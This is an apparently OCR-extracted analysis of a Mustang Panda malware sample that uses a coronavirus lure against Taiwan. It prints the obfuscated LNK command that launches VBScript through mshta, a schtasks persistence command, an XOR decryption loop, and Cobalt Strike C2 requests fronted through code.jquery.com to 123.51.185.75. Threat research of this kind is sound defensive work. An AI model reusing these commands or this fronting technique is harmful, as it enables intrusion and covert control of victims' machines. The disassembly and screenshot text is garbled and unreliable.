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x0T
inc

cmp eax, [ebp+Humber0fBytesRead]
jb short decryptLoop

£

push [ebp+hOobject ]
call das:CloaeHandle

loo 100004DF: ;i hobject

call edi i jump to decrypted code area
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In a time where Corona is all over the news, cyber criminals are also taking advantage of this
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situation. Weeks ago | stumbled on a twitter post regarding the MustangPanda APT group

and decided to take a look at it.
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PARTHI @cyber_sloth - Feb 27

e A #mustangpanda #Ink sample possibly targets Taiwan using #coronavirus
lure. Uses tencentsoso.exe for DLL sideloading. The final payload is
#cobaltstrike. Domain fronting via "code.jquery.com” C2: 123.51.185[.]75
hash: fc00964131a8c9407ba77484e724fc9d
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Summary

Twitter

The attack consists of multiple stages and it all starts with a LNK File which contains

embedded HTML Code with a script tag carrying VBScript code.

The LNK file runs a command that executes the embedded code via mshta.exe. Afterwards

a decoy document and dropper are placed and executed on the system.

The Dropper drops 3 other files into the Public Music folder and persists tencentsoso.exe via
the task scheduler. Those files are all loaded into memory in order to execute code which
contacts the C2 server to download the final stage which is believed to be a Cobalt Strike

Payload.

Stage 1 — LNK Dropper
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& 02-21-1 Properties ==

Compatibility | Securty | Dietail= | Previous Versions
General | Shortcut | Options | Fart | Layout | Colors
IE'-F 02-21-1

Target type: File

Target location:

Target: -1 1%hETEMP: =13 1% % TEMP: -7, 1% exe "%

Start in:

Shortcut key:  Mone

Fun: [ Minimized - ]
Comment: 02-21-1Ink
Open File Location ][Ehange lcon... H Advanced. .. ]
ok [Coren ] (o

By looking at the properties of the LNK file we can find a malicious command entered into
the target property:

# raw

%comspec% /c f%windir:~-3,1%%PUBLIC:~-9,1% %x in (%temp%=%cd%) do

f%windir:~-3, 1%%PUBLIC:~-9,1% /f "delims==" %i in ('dir "%x\02-21-1.1lnk" /s /b') do
start %TEMP:~-2,1%%windir:~-1, 1%h%TEMP:~-13, 1 %%TEMP:~-7,1%.exe "%i"

# beautified and pseudo code like
cmd.exe /c for %x in (%temp%=%cd%)
do for /f "delims==" %i in ('dir %x\02-21-1.1lnk /s /b')
do start mshta.exe "%i"

To simplify this, the command searches for the 02-21-1.Ink and executes it via mshta.exe.
Mshta.exe[1] is an executable on Windows that can be used to run HTML Applications. In
this case it is used to run malicious VBScript code which is embedded in HTML Tags that
can be found in the LNK file.
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Opened decoy doc 3.exe

explaining the Ink stage
The VBScript code opens a decoy document containing Chinese text, drops a PE executable
and runs it. Here is the text translated into English:

Taiwanese deputy leader Chen Jianren recently wrote on Facebook that the
characteristic of community transmission is that people walking in the community will
be infected, but Taiwan is not. Unexpectedly, the US Centers for Disease Control and
Prevention listed on the 20th the destinations that are clearly at risk of "community
transmission", including Taiwan.

Taiwan's "Foreign Ministry" demanded that the United States correct it. Many netizens

ridiculed that the authorities had never wanted to admit it, and as a result, "Dad
directly tags."

Stage 2 - PE DROPPER

The dropped file is a PE executable that serves as another dropper which contains a
resource named “HELP”.
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Resource Hacker éﬁowiﬁg the resource
When executed, 3 files from the “HELP” resource are dropped into C:\Users\Public\Music
and schtasks.exe is run in order to achieve persistence on the system.

L ebX, [abpthinstance]

push 0L

push i

push FETY

Pap el

zar EAX, BAX

push - ; cShowCad

push AT 1 lpbireqsory

maw ani, offsst AFCrsatsToTance ; “/T /Creats /TH Tescentid /ec misets /WO, ..

lea wdl, [sap+OCUE+Farametars]

Tep moved

loa 2, [eap+OCibrParasetara | aFCreateTaTence db '/F /Create /TH Tescestld Jee mizeve /w0 | TR Colmsera’rublicimes
punh qﬁ " § ipfaTamsters ATH XRF - 1 RR42 T
push affset rils schtamks . axe . .

Fush affast Dparstiom : - db " le\tescanteons. axe” ;9
push wax ]

call dsidhall Ensourek

OV wni, deilosdString¥

push 1 § echBuifacHan

push offsst Windowlsme ; LpAuffsr

push I 7 MID

push b § AEnatanos

call il ; LoadSeringW

Disassembly snippet of execution of schtasks.exe to persist one of the dropped files

= | = =
G'x_.;'- b Computer b Local Disk (0] » Users b Pubbe b Public Music » - [+ ek Public ol o
Organize = Inchade i library = Share wath Flay all Pl Fosbder = I i
I Fwworites ’ he Contrigatting artists  Album
B Deiktcp Sarnple Music
& Downloads | rri

o Recent Place w SideBar.dil
® 7 bencenksosD. e
- Librasies
= Documents
o Music
| Fictunes

B videos

8 Computed

W Plebwork

| 4 flEms

tencentsoso.exe is actually a real file from Tencent and at least part of the software Tencent
SideBar. The DLL File here however is custom made and used to load the nsa binary file. |
believe that the attackers are trying to trick victims here into believing that this is legit
software.

Stage 3 - Final PE File
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Once tencentsoso.exe is executed, it dynamically loads the SideBar.DLL. The DLL then
reads the nsa file and decrypts it with a simple XORing, allocates memory via VirtualAlloc
with executable rights and writes the decrypted nsa content into executable memory.
Afterwards it jumps to this executable content.

decryptLoopi

x0T ) byte ptr [eax+edi], &3h

ine 8ax

cmp eax, [ebp+NumberOfBytesRead]

jib short decryptLoop

J Decrypting nsa and

loc 100004DF: ; hObject
push [ebp+hObject ]
call de:CloseEandle
call edi § jump to decrypted code area

i S .ﬂ il =

dynamically jump to decrypted part
The sample uses a Cobalt Strike feature known as malleable c2 and contacts its C2 server
123.51.185.75 to download the next payload.

GET /jquery-3.3.1.slim.min.js HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Host: code.jquery.com

Referer: http://code.jquery.com/

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone 0S 13_3 like Mac 0S X)
ApplewWebKit/605.1.15 (KHTML, like Gecko)

Connection: Keep-Alive

Cache-Control: no-cache

Looking at the response in Wireshark, it becomes clear that the attackers hide the payload in
the JQuery code. It reads the content of the file into a buffer, decrypts the code area and
jumps to the offset 0x1008 to start the next stage.
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Response from C2 Server

LA A
B Lo e Bl m BEE T, T8 1--"'9-.“.'

J #| ozos100z a7 wehy edi, eax
L) R T Ad lajrasad LEsT Pon adas i
¥ > o] 02051008 a0 nag
#| czps1009 30 nag
o] 02051004 a0 g
o] 020s100E a0 nop
#| czps100C 30 nog
- 90 g
- a0 nop
- 30 wop
- 30 g
L] 40 dec ebp
- 54 adn
L] ES 0000000 205 1018 call &o
S 5E pap chx
BE0F mov edi, ebx
EIF. + 52 push_edsx Executed
. 45 1n.chrhp —
- EE push =bp
#| ozps102 BIES mov ebp, esp Code
of 02051020 B1CT 55910000 add ebx, %155
o] 02051026 FFD3 M =bx
s| oczos1o0z8 68 FOESAZSE push 5EAZESFO
s] 02051020 68 03000000 push 4
#] 02051032 57 sh edi
. FFO:O ean
L] Ty WO HFLE LT W= LCar] gl
| 0205103 Q000 add byte ptr ds: [ean] ,al
#( o2051039 oo add byte ptr ds:[eax],al
o 02051038 [elalils] add yte prr ds:[ean],al
#| 02051030 falalvli] add byte ptr ds:[ean],al
&| D205 103F {alulel] add byre ptr d=: [=ax],al
® 02051041 0onn add e prr ds:[eax],al
»| 02051043 0000 add $= Er ds: [eax] = Star‘t of
#| 02051045 [aTaluls] add byte ptr d=; [=ax],al
®( p2051047 0onn add bytTe pre ds:[eax],al
o 02051049 0000 add byte ptr ds:[eaw], al
- m

Jump 15 not taken
0205058

O3DE0FF4

H
$hOumpl  YDump2 | eDump3 | UsDumps | UsDumos | & weithi | ieliocss | 3 Stuct |
ASCIL
72 GE 20 B5 |30 30 30 74|26 26 28 66(reTurn E=—=Tad(T
IC 30 7D 2C|4E 3D 7B 7D|2E 6B &1 73|=10),0},M={}.has
7 &F 70 E5|TZ 74 73 2C| 41 30 5B 50 |OwnProperty,a=[]
2E 7O GF FO|2C 7L 30 41|2E 7O 75 T3 ,]=A, pop,q=A.pus
41 ZE 70 73|73 6B C £8|3D 41 ZE TI|(h,L=A.push, H=a.s|} jq
2C 4F 30 66|75 6E 63 74|63 6F 6E 28| T1ce,O0=function( UER? TEKT
78 &6 6F 72|28 76 61 72|20 BE 30 20|e,TI{Tor{var r=o
&7 74 BB 3B|6E 3IC 7 3B ,r=g, lengthiner;

t)

2E 6L ES_GE
6% 66 IE B5 (5B 6E S0 3D 3D 30 T4 Z9 I'H—fI'I‘F{E nj=
3. Za oo Talop 2o gp onlegriiee peegriEn

—f L e oL
ab 22 0D FC|ES
ED 24 EE OF |47
44 TB BF AD|1F
31 F1 83 C7 |04
04 83 ES 04|31

Executed Code
— in Hex starting

= L
0061008 50 90 90 90|90 90 90 90 [90 40 54 E8 00 00 00 00f. ... ... .. M7E. ...
MW TX LT 55 91|00 OF FF O3] [-BRED B . y0| at NOP SLIDE

02051028 6B FO B5 AZ|56 658 04 00|00 00 57 FF|D0 00 00 00| DUEWH o o c W¥E .. .

decrypted payload in JQuery response
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From here on the sample keeps sending HTTP requests to the C2 Server and waits for
commands:

GET /jquery-3.3.1.min.js HTTP/1.1

Host: code.jquery.com

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;q=0.8

Referer: http://code.jquery.com/

Accept-Encoding: gzip, deflate

Cookie:

_ cfduid=Z_FZubVJKboirizDP2zDYMDszubh4Qhl1lgA5XPSeH2a5qAFOfLAjetJ4gIh5Gsr8WBWkWvD7wOy2z

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone 0S 13_3 like Mac 0S X)
ApplewWebKit/605.1.15 (KHTML, like Gecko)

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 22 Mar 2020 08:24:59 GMT

Server: NetDNA-cache/2.2

Content-Length: 5543

Keep-Alive: timeout=10, max=100

Connection: keep-alive

Content-Type: application/javascript; charset=utf-8
Cache-Control: max-age=0, no-cache

Pragma: no-cache

This final stage is believed to be Cobalt Strike. Any.Run Sandbox also detects it[2].
By looking at the traffic and doing some research, | found multiple posts that explain the way
Cobalt Strike hides payloads in HTTP responses, the most interesting one being this one[3].

Icon used were made by Pixel perfect from www.flaticon.com
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